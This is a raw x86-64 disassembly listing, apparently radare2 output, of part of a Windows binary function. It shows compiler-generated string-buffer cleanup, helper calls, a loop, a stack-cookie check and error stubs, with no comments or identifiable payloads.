lea rcx, [rsp + 0x88]
call fcn.1400044e0
movzx r15d, al
mov rdx, qword [rsp + 0xa0]
cmp rdx, 8
jb 0x14001bd7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bd78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2c6
call fcn.140080f50
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], 7
mov word [rsp + 0x88], bx
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14001bdd9
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bdd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2cc
call fcn.140080f50
test r15b, r15b
je 0x14001c152
lea r15, [rdi + rdi*2]
shl r15, 5
lea rcx, [rsp + 0x620]
add rcx, r15
mov rdx, qword [rcx + 0x10]
mov rax, rsi
mov r8, qword [rsp + 0x1b0]
sub rax, r8
cmp rax, rdx
jb 0x14001c2d2
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
cmp qword [rcx + 0x18], 0x10
jb 0x14001be34
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14001be9d
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001be98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2e1
call fcn.140080f50
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x110], xmm1
lea rcx, [rsp + 0x100]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call fcn.14009939c
lea rcx, [rsp + 0x640]
add rcx, r15
mov rdx, qword [rcx + 0x10]
mov rax, rsi
mov r8, qword [rsp + 0x1b0]
sub rax, r8
cmp rax, rdx
jb 0x14001c2d7
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
cmp qword [rcx + 0x18], 0x10
jb 0x14001bf25
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14001bf8e
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bf89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2e1
call fcn.140080f50
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x110], xmm1
lea rcx, [rsp + 0x100]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call fcn.14009939c
lea rcx, [rsp + 0x660]
add rcx, r15
mov rdx, qword [rcx + 0x10]
mov rax, rsi
mov r8, qword [rsp + 0x1b0]
sub rax, r8
cmp rax, rdx
jb 0x14001c2dc
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
cmp qword [rcx + 0x18], 0x10
jb 0x14001c016
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x88]
call fcn.14002d660
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14001c082
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c07d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2e1
call fcn.140080f50
movups xmm0, xmmword [rsp + 0x88]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rsp + 0x98]
movups xmmword [rsp + 0x110], xmm1
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], 0xf
mov byte [rsp + 0x88], 0
lea rcx, [rsp + 0x88]
call fcn.14001efc0
lea rcx, [rsp + 0x100]
call fcn.14001ef70
mov rcx, rax
call fcn.14009939c
mov r8, r14
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x88]
call fcn.140025e20
mov r15, rax
mov r8, r14
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x68]
call fcn.140025e20
nop
mov rdx, r15
mov rcx, rax
call fcn.140057d10
nop
lea rcx, [rsp + 0x68]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x88]
call fcn.14001efc0
nop
inc rdi
jmp 0x14001bc84
inc rdi
jmp 0x14001bc84
lea rcx, [rsp + 0x100]
call fcn.14001efc0
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0x1a0]
call fcn.140080f94
nop
lea rcx, [rsp + 0x140]
call fcn.14001efc0
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rsp + 0x1c0]
call fcn.140080f94
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x18]
lea rcx, [rsp + 0x220]
call fcn.140080f94
nop
lea r9, [fcn.140016130]
mov edx, 0x60
lea r8d, [rdx - 0x55]
lea rcx, [rsp + 0x320]
call fcn.140080f94
nop
lea rcx, [rsp + 0x120]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x180]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x160]
call fcn.14001efc0
mov rcx, qword [rsp + 0x740]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x750]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
call fcn.140002cb0
call fcn.140002cb0
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
call fcn.140002cb0
call fcn.140002cb0
call fcn.1400996b0
int3